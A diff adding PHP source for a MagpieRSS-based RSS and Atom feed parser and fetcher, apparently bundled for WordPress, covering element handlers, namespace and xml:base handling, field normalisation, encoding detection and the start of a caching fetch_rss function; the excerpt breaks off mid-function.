+	// theoretically we could use xml_set_start_namespace_decl_handler and
+	// xml_set_end_namespace_decl_handler to handle this more elegantly, but
+	// support for these is buggy
+	foreach ($attributes as $attr => $value) {
+		if ( preg_match('/^xmlns(\:([A-Z_a-z].*))?$/', $attr, $match) ) {
+			$ns = (isset($match[2]) ? $match[2] : '');
+			$namespaces[$ns] = $value;
+		}
+	}
+
+	array_push($this->stack['xmlns'], $namespaces);
+
+        // check for a namespace, and split if found
+        // Don't munge content tags
+	$ns = $this->namespace($element);
+	if ( empty($this->incontent) ) {
+		$el = strtolower($ns['element']);
+		$this->current_namespace = $ns['effective'];
+		array_push($this->stack['ns'], $ns['effective']);
+	}
+
+	$nsc = $ns['canonical']; $nse = $ns['element'];
+ 	if ( isset($this->_XMLBASE_RESOLVE[$nsc][$nse]) ) {
+		if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse]['*xml'])) {
+			$attributes['xml:base'] = $baseuri;
+		}
+		foreach ($attributes as $key => $value) {
+			if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse][strtolower($key)])) {
+				$attributes[$key] = Relative_URI::resolve($attributes[$key], $baseuri);
+			}
+		}
+	}
+
+        $attrs = array_change_key_case($attributes, CASE_LOWER);
+
+        # if feed type isn't set, then this is first element of feed
+        # identify feed from root element
+        #
+        if (!isset($this->feed_type) ) {
+            if ( $el == 'rdf' ) {
+                $this->feed_type = RSS;
+		$this->root_namespaces = array('rss', 'rdf');
+                $this->feed_version = '1.0';
+            }
+            elseif ( $el == 'rss' ) {
+                $this->feed_type = RSS;
+		$this->root_namespaces = array('rss');
+                $this->feed_version = $attrs['version'];
+            }
+            elseif ( $el == 'feed' ) {
+                $this->feed_type = ATOM;
+		$this->root_namespaces = array('atom');
+                if ($ns['uri'] == 'http://www.w3.org/2005/Atom') { // Atom 1.0
+			$this->feed_version = '1.0';
+                }
+                else { // Atom 0.3, probably.
+                    $this->feed_version = $attrs['version'];
+                }
+                $this->inchannel = true;
+            }
+            return;
+        }
+
+        // if we're inside a namespaced content construct, treat tags as text
+        if ( !empty($this->incontent) ) 
+        {
+            if ((count($this->incontent) > 1) or !$this->exclude_top) {
+		  if ($ns['effective']=='xhtml') {
+			  $tag = $ns['element'];
+		  }
+		  else {
+			  $tag = $element;
+			  $xmlns = 'xmlns';
+			  if (strlen($ns['prefix'])>0) {
+				  $xmlns = $xmlns . ':' . $ns['prefix'];
+			  }
+			  $attributes[$xmlns] = $ns['uri']; // make sure it's visible
+		  }
+
+                 // if tags are inlined, then flatten
+                $attrs_str = join(' ', 
+                    array_map(array($this, 'map_attrs'), 
+                    array_keys($attributes), 
+                    array_values($attributes) )
+                  );
+                
+                  if (strlen($attrs_str) > 0) { $attrs_str = ' '.$attrs_str; }
+               $this->append_content( "<{$tag}{$attrs_str}>"  );
+            }
+            array_push($this->incontent, $ns); // stack for parsing content XML
+        }
+
+        elseif ( $el == 'channel' )  {
+            $this->inchannel = true;
+        }
+    
+        elseif ($el == 'item' or $el == 'entry' ) 
+        {
+            $this->initem = true;
+            if ( isset($attrs['rdf:about']) ) {
+                $this->current_item['about'] = $attrs['rdf:about']; 
+            }
+        }
+
+        // if we're in the default namespace of an RSS feed,
+        //  record textinput or image fields
+        elseif ( 
+            $this->feed_type == RSS and 
+            $this->current_namespace == '' and 
+            $el == 'textinput' ) 
+        {
+            $this->intextinput = true;
+        }
+        
+        elseif (
+            $this->feed_type == RSS and 
+            $this->current_namespace == '' and 
+            $el == 'image' ) 
+        {
+            $this->inimage = true;
+        }
+        
+        // set stack[0] to current element
+        else {
+            // Atom support many links per containing element.
+            // Magpie treats link elements of type rel='alternate'
+            // as being equivalent to RSS's simple link element.
+
+            $atom_link = false;
+            if ( ($ns['canonical']=='atom') and $el == 'link') {
+                $atom_link = true;
+                if (isset($attrs['rel']) and $attrs['rel'] != 'alternate') {
+                    $el = $el . "_" . $attrs['rel'];  // pseudo-element names for Atom link elements
+                }
+            }
+            # handle atom content constructs
+            elseif ( ($ns['canonical']=='atom') and in_array($el, $this->_ATOM_CONTENT_CONSTRUCTS) )
+            {
+                // avoid clashing w/ RSS mod_content
+                if ($el == 'content' ) {
+                    $el = 'atom_content';
+                }
+
+                // assume that everything accepts namespaced XML
+                // (that will pass through some non-validating feeds;
+                // but so what? this isn't a validating parser)
+                $this->incontent = array();
+                array_push($this->incontent, $ns); // start a stack
+		
+		$this->xml_escape = $this->accepts_namespaced_xml($attrs);
+
+                if ( isset($attrs['type']) and trim(strtolower($attrs['type']))=='xhtml') {
+                    $this->exclude_top = true;
+                } else {
+                    $this->exclude_top = false;
+                }
+            }
+            # Handle inline XHTML body elements --CWJ
+            elseif ($ns['effective']=='xhtml' and in_array($el, $this->_XHTML_CONTENT_CONSTRUCTS)) {
+                $this->current_namespace = 'xhtml';
+                $this->incontent = array();
+                array_push($this->incontent, $ns); // start a stack
+
+		$this->xml_escape = true;
+                $this->exclude_top = false;
+            }
+            
+            array_unshift($this->stack['element'], $el);
+            $elpath = join('_', array_reverse($this->stack['element']));
+            
+            $n = $this->element_count($elpath);
+            $this->element_count($elpath, $n+1);
+            
+            if ($n > 0) {
+                array_shift($this->stack['element']);
+                array_unshift($this->stack['element'], $el.'#'.($n+1));
+                $elpath = join('_', array_reverse($this->stack['element']));
+            }
+            
+            // this makes the baby Jesus cry, but we can't do it in normalize()
+            // because we've made the element name for Atom links unpredictable
+            // by tacking on the relation to the end. -CWJ
+            if ($atom_link and isset($attrs['href'])) {
+                $this->append($elpath, $attrs['href']);
+            }
+        
+            // add attributes
+            if (count($attrs) > 0) {
+                $this->append($elpath.'@', join(',', array_keys($attrs)));
+                foreach ($attrs as $attr => $value) {
+                    $this->append($elpath.'@'.$attr, $value);
+                }
+            }
+        }
+    }
+
+    function feed_cdata ($p, $text) {
+        if ($this->incontent) {
+		if ($this->xml_escape) { $text = htmlspecialchars($text, ENT_COMPAT, $this->encoding); }
+		$this->append_content( $text );
+        } else {
+            $current_el = join('_', array_reverse($this->stack['element']));
+            $this->append($current_el, $text);
+        }
+    }
+    
+    function feed_end_element ($p, $el) {
+	    $closer = $this->namespace($el);
+
+	    if ( $this->incontent ) {
+		    $opener = array_pop($this->incontent);
+
+		    // balance tags properly
+		    // note:  i don't think this is actually neccessary
+		    if ($opener != $closer) {
+			    array_push($this->incontent, $opener);
+			    $this->append_content("<$el />");
+		    } elseif ($this->incontent) { // are we in the content construct still?
+			    if ((count($this->incontent) > 1) or !$this->exclude_top) {
+				  if ($closer['effective']=='xhtml') {
+					  $tag = $closer['element'];
+				  }
+				  else {
+					  $tag = $el;
+				  }
+				  $this->append_content("</$tag>");
+			    }
+		    } else { // if we're done with the content construct, shift the opening of the content construct off the normal stack
+			    array_shift( $this->stack['element'] );
+		    }
+	    }
+	    elseif ($closer['effective'] == '') {
+		    $el = strtolower($closer['element']);
+		    if ( $el == 'item' or $el == 'entry' )  {
+			    $this->items[] = $this->current_item;
+			    $this->current_item = array();
+			    $this->initem = false;
+			    $this->current_category = 0;
+		    }
+		    elseif ($this->feed_type == RSS and $el == 'textinput' ) {
+			    $this->intextinput = false;
+		    }
+		    elseif ($this->feed_type == RSS and $el == 'image' ) {
+			    $this->inimage = false;
+		    }
+		    elseif ($el == 'channel' or $el == 'feed' ) {
+			    $this->inchannel = false;
+		    } else {
+			    $nsc = $closer['canonical']; $nse = $closer['element'];
+			    if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse]['*content'])) {
+				    // Resolve relative URI in content of tag
+				    $this->dereference_current_element();
+			    }
+			    array_shift( $this->stack['element'] );
+		    }
+	    } else {
+		    $nsc = $closer['canonical']; $nse = strtolower($closer['element']);
+		    if (isset($this->_XMLBASE_RESOLVE[$nsc][$nse]['*content'])) {
+			    // Resolve relative URI in content of tag
+			    $this->dereference_current_element();
+		    }
+		    array_shift( $this->stack['element'] );
+	    }
+	    
+	    if ( !$this->incontent ) { // Don't munge the namespace after finishing with elements in namespaced content constructs -CWJ
+		    $this->current_namespace = array_pop($this->stack['ns']);
+	    }
+	    array_pop($this->stack['xmlns']);
+	    array_pop($this->stack['xml:base']);
+    }
+    
+	// Namespace handling functions
+	function namespace ($element) {
+		$namespaces = end($this->stack['xmlns']);
+		$ns = '';
+		if ( strpos( $element, ':' ) ) {
+			list($ns, $element) = split( ':', $element, 2);
+		}
+		
+		$uri = (isset($namespaces[$ns]) ? $namespaces[$ns] : null);
+
+		if (!is_null($uri)) {
+			$canonical = (
+				isset($this->_XMLNS_FAMILIAR[$uri])
+				? $this->_XMLNS_FAMILIAR[$uri]
+				: $uri
+			);
+		} else {
+			$canonical = $ns;
+		}
+
+		if (in_array($canonical, $this->root_namespaces)) {
+			$effective = '';
+		} else {
+			$effective = $canonical;
+		}
+
+		return array('effective' => $effective, 'canonical' => $canonical, 'prefix' => $ns, 'uri' => $uri, 'element' => $element);
+	}
+
+	// Utility functions for accessing data structure
+	
+	// for smart, namespace-aware methods...
+    	function magpie_data ($el, $method, $text = NULL) {
+		$ret = NULL;
+		if ($el) {
+			if (is_array($method)) {
+				$el = $this->{$method['key']}($el);
+				$method = $method['value'];
+			}
+
+			if ( $this->current_namespace ) {
+				if ( $this->initem ) {
+					$ret = $this->{$method} (
+						$this->current_item[ $this->current_namespace ][ $el ],
+						$text
+					);
+				}
+				elseif ($this->inchannel) {
+					$ret = $this->{$method} (
+						$this->channel[ $this->current_namespace][ $el ],
+						$text
+					);
+				}
+				elseif ($this->intextinput) {
+					$ret = $this->{$method} (
+						$this->textinput[ $this->current_namespace][ $el ],
+						$text
+					);
+				}
+				elseif ($this->inimage) {
+					$ret = $this->{$method} (
+					$this->image[ $this->current_namespace ][ $el ], $text );
+				}
+			}
+			else {
+				if ( $this->initem ) {
+					$ret = $this->{$method} (
+					$this->current_item[ $el ], $text);
+				}
+				elseif ($this->intextinput) {
+					$ret = $this->{$method} (
+					$this->textinput[ $el ], $text );
+				}
+				elseif ($this->inimage) {
+					$ret = $this->{$method} (
+					$this->image[ $el ], $text );
+				}
+				elseif ($this->inchannel) {
+					$ret = $this->{$method} (
+					$this->channel[ $el ], $text );
+				}
+			}
+		}
+		return $ret;
+	}
+	
+    function concat (&$str1, $str2="") {
+        if (!isset($str1) ) {
+            $str1="";
+        }
+        $str1 .= $str2;
+    }
+
+        function retrieve_value (&$el, $text /*ignore*/) {
+	    return $el;
+	}
+	function replace_value (&$el, $text) {
+		$el = $text;
+	}
+        function counter_key ($el) {
+	    return $el.'#';
+	}
+
+
+    function append_content($text) {
+	    $construct = reset($this->incontent);
+	    $ns = $construct['effective'];
+            
+	    // Keeping data about parent elements is necessary to
+	    // properly handle atom:source and its children elements
+	    $tag = join('_', array_reverse($this->stack['element']));
+
+	    if ( $this->initem ) {
+		if ($ns) {
+		    $this->concat( $this->current_item[$ns][$tag], $text );
+		} else {
+		    $this->concat( $this->current_item[$tag], $text );
+		}
+	    }
+	    elseif ( $this->inchannel ) {
+		if ($this->current_namespace) {
+		    $this->concat( $this->channel[$ns][$tag], $text );
+		} else {
+		    $this->concat( $this->channel[$tag], $text );
+		}
+	    }
+    }
+    
+    // smart append - field and namespace aware
+    function append($el, $text) {
+	$this->magpie_data($el, 'concat', $text);
+    }
+
+	function dereference_current_element () {
+		$el = join('_', array_reverse($this->stack['element']));
+		$base = end($this->stack['xml:base']);
+		$uri = $this->magpie_data($el, 'retrieve_value');
+		$this->magpie_data($el, 'replace_value', Relative_URI::resolve($uri, $base));
+	}
+
+    // smart count - field and namespace aware
+    function element_count ($el, $set = NULL) {
+	if (!is_null($set)) {
+		$ret = $this->magpie_data($el, array('key' => 'counter_key', 'value' => 'replace_value'), $set);
+	}
+	$ret = $this->magpie_data($el, array('key' => 'counter_key', 'value' => 'retrieve_value'));
+	return ($ret ? $ret : 0);
+    }
+
+    function normalize_enclosure (&$source, $from, &$dest, $to, $i) {
+        $id_from = $this->element_id($from, $i);
+        $id_to = $this->element_id($to, $i);
+        if (isset($source["{$id_from}@"])) {
+            foreach (explode(',', $source["{$id_from}@"]) as $attr) {
+                if ($from=='link_enclosure' and $attr=='href') { // from Atom
+                    $dest["{$id_to}@url"] = $source["{$id_from}@{$attr}"];
+                    $dest["{$id_to}"] = $source["{$id_from}@{$attr}"];
+                }
+                elseif ($from=='enclosure' and $attr=='url') { // from RSS
+                    $dest["{$id_to}@href"] = $source["{$id_from}@{$attr}"];
+                    $dest["{$id_to}"] = $source["{$id_from}@{$attr}"];
+                }
+                else {
+                    $dest["{$id_to}@{$attr}"] = $source["{$id_from}@{$attr}"];
+                }
+            }
+        }
+    }
+
+    function normalize_atom_person (&$source, $person, &$dest, $to, $i) {
+        $id = $this->element_id($person, $i);
+        $id_to = $this->element_id($to, $i);
+
+            // Atom 0.3 <=> Atom 1.0
+        if ($this->feed_version >= 1.0) { $used = 'uri'; $norm = 'url'; }
+        else { $used = 'url'; $norm = 'uri'; }
+
+        if (isset($source["{$id}_{$used}"])) {
+            $dest["{$id_to}_{$norm}"] = $source["{$id}_{$used}"];
+        }
+
+        // Atom to RSS 2.0 and Dublin Core
+        // RSS 2.0 person strings should be valid e-mail addresses if possible.
+        if (isset($source["{$id}_email"])) {
+            $rss_author = $source["{$id}_email"];
+        }
+        if (isset($source["{$id}_name"])) {
+            $rss_author = $source["{$id}_name"]
+                . (isset($rss_author) ? " <$rss_author>" : '');
+        }
+        if (isset($rss_author)) {
+            $source[$id] = $rss_author; // goes to top-level author or contributor
+        $dest[$id_to] = $rss_author; // goes to dc:creator or dc:contributor
+        }
+    }
+
+    // Normalize Atom 1.0 and RSS 2.0 categories to Dublin Core...
+    function normalize_category (&$source, $from, &$dest, $to, $i) {
+        $cat_id = $this->element_id($from, $i);
+        $dc_id = $this->element_id($to, $i);
+
+        // first normalize category elements: Atom 1.0 <=> RSS 2.0
+        if ( isset($source["{$cat_id}@term"]) ) { // category identifier
+            $source[$cat_id] = $source["{$cat_id}@term"];
+        } elseif ( $this->feed_type == RSS ) {
+            $source["{$cat_id}@term"] = $source[$cat_id];
+        }
+        
+        if ( isset($source["{$cat_id}@scheme"]) ) { // URI to taxonomy
+            $source["{$cat_id}@domain"] = $source["{$cat_id}@scheme"];
+        } elseif ( isset($source["{$cat_id}@domain"]) ) {
+            $source["{$cat_id}@scheme"] = $source["{$cat_id}@domain"];
+        }
+
+        // Now put the identifier into dc:subject
+        $dest[$dc_id] = $source[$cat_id];
+    }
+    
+    // ... or vice versa
+    function normalize_dc_subject (&$source, $from, &$dest, $to, $i) {
+        $dc_id = $this->element_id($from, $i);
+        $cat_id = $this->element_id($to, $i);
+
+        $dest[$cat_id] = $source[$dc_id];       // RSS 2.0
+        $dest["{$cat_id}@term"] = $source[$dc_id];  // Atom 1.0
+    }
+
+    // simplify the logic for normalize(). Makes sure that count of elements and
+    // each of multiple elements is normalized properly. If you need to mess
+    // with things like attributes or change formats or the like, pass it a
+    // callback to handle each element.
+    function normalize_element (&$source, $from, &$dest, $to, $via = NULL) {
+        if (isset($source[$from]) or isset($source["{$from}#"])) {
+            if (isset($source["{$from}#"])) {
+                $n = $source["{$from}#"];
+                $dest["{$to}#"] = $source["{$from}#"];
+            }
+            else { $n = 1; }
+
+            for ($i = 1; $i <= $n; $i++) {
+                if (isset($via)) { // custom callback for ninja attacks
+                    $this->{$via}($source, $from, $dest, $to, $i);
+                }
+                else { // just make it the same
+                    $from_id = $this->element_id($from, $i);
+                    $to_id = $this->element_id($to, $i);
+                    $dest[$to_id] = $source[$from_id];
+                }
+            }
+        }
+    }
+
+    function normalize () {
+        // if atom populate rss fields and normalize 0.3 and 1.0 feeds
+        if ( $this->is_atom() ) {
+		// Atom 1.0 elements <=> Atom 0.3 elements (Thanks, o brilliant wordsmiths of the Atom 1.0 standard!)
+		if ($this->feed_version < 1.0) {
+			$this->normalize_element($this->channel, 'tagline', $this->channel, 'subtitle');
+			$this->normalize_element($this->channel, 'copyright', $this->channel, 'rights');
+			$this->normalize_element($this->channel, 'modified', $this->channel, 'updated');
+		} else {
+			$this->normalize_element($this->channel, 'subtitle', $this->channel, 'tagline');
+			$this->normalize_element($this->channel, 'rights', $this->channel, 'copyright');
+			$this->normalize_element($this->channel, 'updated', $this->channel, 'modified');
+		}
+		$this->normalize_element($this->channel, 'author', $this->channel['dc'], 'creator', 'normalize_atom_person');
+		$this->normalize_element($this->channel, 'contributor', $this->channel['dc'], 'contributor', 'normalize_atom_person');
+
+		// Atom elements to RSS elements
+		$this->normalize_element($this->channel, 'subtitle', $this->channel, 'description');
+        
+		if ( isset($this->channel['logo']) ) {
+			$this->normalize_element($this->channel, 'logo', $this->image, 'url');
+			$this->normalize_element($this->channel, 'link', $this->image, 'link');
+			$this->normalize_element($this->channel, 'title', $this->image, 'title');
+		}
+
+		for ( $i = 0; $i < count($this->items); $i++) {
+			$item = $this->items[$i];
+
+			// Atom 1.0 elements <=> Atom 0.3 elements
+			if ($this->feed_version < 1.0) {
+				$this->normalize_element($item, 'modified', $item, 'updated');
+				$this->normalize_element($item, 'issued', $item, 'published');
+			} else {
+				$this->normalize_element($item, 'updated', $item, 'modified');
+				$this->normalize_element($item, 'published', $item, 'issued');
+			}
+
+			// "If an atom:entry element does not contain
+			// atom:author elements, then the atom:author elements
+			// of the contained atom:source element are considered
+			// to apply. In an Atom Feed Document, the atom:author
+			// elements of the containing atom:feed element are
+			// considered to apply to the entry if there are no
+			// atom:author elements in the locations described
+			// above." <http://atompub.org/2005/08/17/draft-ietf-atompub-format-11.html#rfc.section.4.2.1>
+			if (!isset($item["author#"])) {
+				if (isset($item["source_author#"])) { // from aggregation source
+					$source = $item;
+					$author = "source_author";
+				} elseif (isset($this->channel["author#"])) { // from containing feed
+					$source = $this->channel;
+					$author = "author";
+				} else {
+					$author = null;
+				}
+
+				if (!is_null($author)) {
+					$item["author#"] = $source["{$author}#"];
+					for ($au = 1; $au <= $item["author#"]; $au++) {
+						$id_to = $this->element_id('author', $au);
+						$id_from = $this->element_id($author, $au);
+			    
+						$item[$id_to] = $source[$id_from];
+						foreach (array('name', 'email', 'uri', 'url') as $what) {
+							if (isset($source["{$id_from}_{$what}"])) {
+								$item["{$id_to}_{$what}"] = $source["{$id_from}_{$what}"];
+							}
+						}
+					}
+				}
+			}
+
+		    // Atom elements to RSS elements
+		    $this->normalize_element($item, 'author', $item['dc'], 'creator', 'normalize_atom_person');
+		    $this->normalize_element($item, 'contributor', $item['dc'], 'contributor', 'normalize_atom_person');
+		    $this->normalize_element($item, 'summary', $item, 'description');
+		    $this->normalize_element($item, 'atom_content', $item['content'], 'encoded');
+		    $this->normalize_element($item, 'link_enclosure', $item, 'enclosure', 'normalize_enclosure');
+	
+		    // Categories
+		    if ( isset($item['category#']) ) { // Atom 1.0 categories to dc:subject and RSS 2.0 categories
+			$this->normalize_element($item, 'category', $item['dc'], 'subject', 'normalize_category');
+		    }
+		    elseif ( isset($item['dc']['subject#']) ) { // dc:subject to Atom 1.0 and RSS 2.0 categories
+			$this->normalize_element($item['dc'], 'subject', $item, 'category', 'normalize_dc_subject');
+		    }
+	
+		    // Normalized item timestamp
+		    $atom_date = (isset($item['published']) ) ? $item['published'] : $item['updated'];
+		    if ( $atom_date ) {
+			$epoch = @parse_w3cdtf($atom_date);
+			if ($epoch and $epoch > 0) {
+			    $item['date_timestamp'] = $epoch;
+			}
+		    }
+	
+		    $this->items[$i] = $item;
+		}
+        }
+        elseif ( $this->is_rss() ) {
+		// RSS elements to Atom elements
+		$this->normalize_element($this->channel, 'description', $this->channel, 'tagline'); // Atom 0.3
+		$this->normalize_element($this->channel, 'description', $this->channel, 'subtitle'); // Atom 1.0 (yay wordsmithing!)
+		$this->normalize_element($this->image, 'url', $this->channel, 'logo');
+
+		for ( $i = 0; $i < count($this->items); $i++) {
+			$item = $this->items[$i];
+        
+			// RSS elements to Atom elements
+			$this->normalize_element($item, 'description', $item, 'summary');
+			$this->normalize_element($item, 'enclosure', $item, 'link_enclosure', 'normalize_enclosure');
+			
+			// Categories
+			if ( isset($item['category#']) ) { // RSS 2.0 categories to dc:subject and Atom 1.0 categories
+			    $this->normalize_element($item, 'category', $item['dc'], 'subject', 'normalize_category');
+			}
+			elseif ( isset($item['dc']['subject#']) ) { // dc:subject to Atom 1.0 and RSS 2.0 categories
+			    $this->normalize_element($item['dc'], 'subject', $item, 'category', 'normalize_dc_subject');
+			}
+
+			// Normalized item timestamp
+			if ( $this->is_rss() == '1.0' and isset($item['dc']['date']) ) {
+			    $epoch = @parse_w3cdtf($item['dc']['date']);
+			    if ($epoch and $epoch > 0) {
+				$item['date_timestamp'] = $epoch;
+			    }
+			}
+			elseif ( isset($item['pubdate']) ) {
+			    $epoch = @strtotime($item['pubdate']);
+			    if ($epoch > 0) {
+				$item['date_timestamp'] = $epoch;
+			    }
+			}
+			
+			$this->items[$i] = $item;
+		}
+        }
+    }
+    
+    
+    function is_rss () {
+        if ( $this->feed_type == RSS ) {
+            return $this->feed_version; 
+        }
+        else {
+            return false;
+        }
+    }
+    
+    function is_atom() {
+        if ( $this->feed_type == ATOM ) {
+            return $this->feed_version;
+        }
+        else {
+            return false;
+        }
+    }
+
+    /**
+    * return XML parser, and possibly re-encoded source
+    *
+    */
+    function create_parser($source, $out_enc, $in_enc, $detect) {
+        if ( substr(phpversion(),0,1) == 5) {
+            $parser = $this->php5_create_parser($in_enc, $detect);
+        }
+        else {
+            list($parser, $source) = $this->php4_create_parser($source, $in_enc, $detect);
+        }
+        if ($out_enc) {
+            $this->encoding = $out_enc;
+            xml_parser_set_option($parser, XML_OPTION_TARGET_ENCODING, $out_enc);
+        }
+	xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);
+        return array($parser, $source);
+    }
+    
+    /**
+    * Instantiate an XML parser under PHP5
+    *
+    * PHP5 will do a fine job of detecting input encoding
+    * if passed an empty string as the encoding. 
+    *
+    * All hail libxml2!
+    *
+    */
+    function php5_create_parser($in_enc, $detect) {
+        // by default php5 does a fine job of detecting input encodings
+        if(!$detect && $in_enc) {
+            return xml_parser_create($in_enc);
+        }
+        else {
+            return xml_parser_create('');
+        }
+    }
+    
+    /**
+    * Instaniate an XML parser under PHP4
+    *
+    * Unfortunately PHP4's support for character encodings
+    * and especially XML and character encodings sucks.  As
+    * long as the documents you parse only contain characters
+    * from the ISO-8859-1 character set (a superset of ASCII,
+    * and a subset of UTF-8) you're fine.  However once you
+    * step out of that comfy little world things get mad, bad,
+    * and dangerous to know.
+    *
+    * The following code is based on SJM's work with FoF
+    * @see http://minutillo.com/steve/weblog/2004/6/17/php-xml-and-character-encodings-a-tale-of-sadness-rage-and-data-loss
+    *
+    */
+    function php4_create_parser($source, $in_enc, $detect) {
+        if ( !$detect ) {
+            return array(xml_parser_create($in_enc), $source);
+        }
+        
+        if (!$in_enc) {
+            if (preg_match('/<?xml.*encoding=[\'"](.*?)[\'"].*?>/m', $source, $m)) {
+                $in_enc = strtoupper($m[1]);
+                $this->source_encoding = $in_enc;
+            }
+            else {
+                $in_enc = 'UTF-8';
+            }
+        }
+        
+        if ($this->known_encoding($in_enc)) {
+            return array(xml_parser_create($in_enc), $source);
+        }
+        
+        // the dectected encoding is not one of the simple encodings PHP knows
+        
+        // attempt to use the iconv extension to
+        // cast the XML to a known encoding
+        // @see http://php.net/iconv
+       
+        if (function_exists('iconv'))  {
+            $encoded_source = iconv($in_enc,'UTF-8', $source);
+            if ($encoded_source) {
+                return array(xml_parser_create('UTF-8'), $encoded_source);
+            }
+        }
+        
+        // iconv didn't work, try mb_convert_encoding
+        // @see http://php.net/mbstring
+        if(function_exists('mb_convert_encoding')) {
+            $encoded_source = mb_convert_encoding($source, 'UTF-8', $in_enc );
+            if ($encoded_source) {
+                return array(xml_parser_create('UTF-8'), $encoded_source);
+            }
+        }
+        
+        // else 
+        $this->error("Feed is in an unsupported character encoding. ($in_enc) " .
+                     "You may see strange artifacts, and mangled characters.",
+                     E_USER_NOTICE);
+            
+        return array(xml_parser_create(), $source);
+    }
+    
+    function known_encoding($enc) {
+        $enc = strtoupper($enc);
+        if ( in_array($enc, $this->_KNOWN_ENCODINGS) ) {
+            return $enc;
+        }
+        else {
+            return false;
+        }
+    }
+
+    function error ($errormsg, $lvl=E_USER_WARNING) {
+        // append PHP's error message if track_errors enabled
+        if ( isset($php_errormsg) ) { 
+            $errormsg .= " ($php_errormsg)";
+        }
+        if ( MAGPIE_DEBUG ) {
+            trigger_error( $errormsg, $lvl);        
+        }
+        else {
+            error_log( $errormsg, 0);
+        }
+        
+        $notices = E_USER_NOTICE|E_NOTICE;
+        if ( $lvl&$notices ) {
+            $this->WARNING = $errormsg;
+        } else {
+            $this->ERROR = $errormsg;
+        }
+    }
+
+    // magic ID function for multiple elemenets.
+    // can be called as static MagpieRSS::element_id()
+    function element_id ($el, $counter) {
+        return $el . (($counter > 1) ? '#'.$counter : '');
+    }
+
+    	function map_attrs($k, $v) {
+	    return $k.'="'.htmlspecialchars($v, ENT_COMPAT, $this->encoding).'"';
+	}
+	
+	function accepts_namespaced_xml ($attrs) {
+		$mode = (isset($attrs['mode']) ? trim(strtolower($attrs['mode'])) : 'xml');
+		$type = (isset($attrs['type']) ? trim(strtolower($attrs['type'])) : null);
+		if ($this->feed_type == ATOM and $this->feed_version < 1.0) {
+			if ($mode=='xml' and preg_match(':[/+](html|xml)$:i', $type)) {
+				$ret = true;
+			} else {
+				$ret = false;
+			}
+		} elseif ($this->feed_type == ATOM and $this->feed_version >= 1.0) {
+			if ($type=='xhtml' or preg_match(':[/+]xml$:i', $type)) {
+				$ret = true;
+			} else {
+				$ret = false;
+			}
+		} else {
+			$ret = false; // Don't munge unless you're sure
+		}
+		return $ret;
+	}
+} // end class RSS
+
+
+// patch to support medieval versions of PHP4.1.x, 
+// courtesy, Ryan Currie, ryan@digibliss.com
+
+if (!function_exists('array_change_key_case')) {
+    define("CASE_UPPER",1);
+    define("CASE_LOWER",0);
+
+
+    function array_change_key_case($array,$case=CASE_LOWER) {
+       if ($case==CASE_LOWER) $cmd='strtolower';
+       elseif ($case==CASE_UPPER) $cmd='strtoupper';
+       foreach($array as $key=>$value) {
+               $output[$cmd($key)]=$value;
+       }
+       return $output;
+    }
+
+}
+
+################################################################################
+## WordPress: Load in Snoopy from wp-includes ##################################
+################################################################################
+
+if (!function_exists('wp_remote_request')) :
+	require_once( dirname(__FILE__) . '/class-snoopy.php');
+endif;
+
+################################################################################
+## rss_fetch.inc: from MagpieRSS 0.8a ##########################################
+################################################################################
+
+/*=======================================================================*\
+    Function: fetch_rss: 
+    Purpose:  return RSS object for the give url
+              maintain the cache
+    Input:    url of RSS file
+    Output:   parsed RSS object (see rss_parse.inc)
+
+    NOTES ON CACHEING:  
+    If caching is on (MAGPIE_CACHE_ON) fetch_rss will first check the cache.
+    
+    NOTES ON RETRIEVING REMOTE FILES:
+    If conditional gets are on (MAGPIE_CONDITIONAL_GET_ON) fetch_rss will
+    return a cached object, and touch the cache object upon recieving a
+    304.
+    
+    NOTES ON FAILED REQUESTS:
+    If there is an HTTP error while fetching an RSS object, the cached
+    version will be return, if it exists (and if MAGPIE_CACHE_FRESH_ONLY is off)
+\*=======================================================================*/
+
+define('MAGPIE_VERSION', '2009.0618');
+
+$MAGPIE_ERROR = "";
+
+function fetch_rss ($url) {
+    // initialize constants
+    init();
+    
+    if ( !isset($url) ) {
+        error("fetch_rss called without a url");
+        return false;
+    }
+    
+    // if cache is disabled
+    if ( !MAGPIE_CACHE_ON ) {
+        // fetch file, and parse it
+        $resp = _fetch_remote_file( $url );
+        if ( is_success( $resp->status ) ) {
+            return _response_to_rss( $resp, $url );
+        }
+        else {
+            error("Failed to fetch $url and cache is off");
+            return false;
+        }
+    } 
+    // else cache is ON
+    else {
+        // Flow
+        // 1. check cache
+        // 2. if there is a hit, make sure its fresh
+        // 3. if cached obj fails freshness check, fetch remote
+        // 4. if remote fails, return stale object, or error
+        
+        $cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );
+        
+        if (MAGPIE_DEBUG and $cache->ERROR) {
+            debug($cache->ERROR, E_USER_WARNING);
+        }
+        
+        
+        $cache_status    = 0;       // response of check_cache
+        $request_headers = array(); // HTTP headers to send with fetch
+        $rss             = 0;       // parsed RSS object
+        $errormsg        = 0;       // errors, if any
+        
+        // store parsed XML by desired output encoding
+        // as character munging happens at parse time
+        $cache_key       = $url . MAGPIE_OUTPUT_ENCODING;
+        
+        if (!$cache->ERROR) {
+            // return cache HIT, MISS, or STALE
+            $cache_status = $cache->check_cache( $cache_key);
+        }
+        
+        // if object cached, and cache is fresh, return cached obj
+        if ( $cache_status == 'HIT' ) {
+            $rss = $cache->get( $cache_key );
+            if ( isset($rss) and $rss ) {
+                // should be cache age
+                $rss->from_cache = 1;
+                if ( MAGPIE_DEBUG > 1) {
+                debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
+            }
+                return $rss;
+            }
+        }
+        
+        // else attempt a conditional get
+        
+        // setup headers
+        if ( $cache_status == 'STALE' ) {
+            $rss = $cache->get( $cache_key );
+            if ( $rss and isset($rss->etag) and $rss->last_modified ) {
+                $request_headers['If-None-Match'] = $rss->etag;
+                $request_headers['If-Last-Modified'] = $rss->last_modified;
+            }
+        }
+        
+        $resp = _fetch_remote_file( $url, $request_headers );
+        
+        if (isset($resp) and $resp) {
+            if ($resp->status == '304' ) {
+                // we have the most current copy
+                if ( MAGPIE_DEBUG > 1) {
+                    debug("Got 304 for $url");
+                }
+                // reset cache on 304 (at minutillo insistent prodding)
+                $cache->set($cache_key, $rss);
+                return $rss;
+            }
+            elseif ( is_success( $resp->status ) ) {
+                $rss = _response_to_rss( $resp, $url );
+                if ( $rss ) {
+                    if (MAGPIE_DEBUG > 1) {
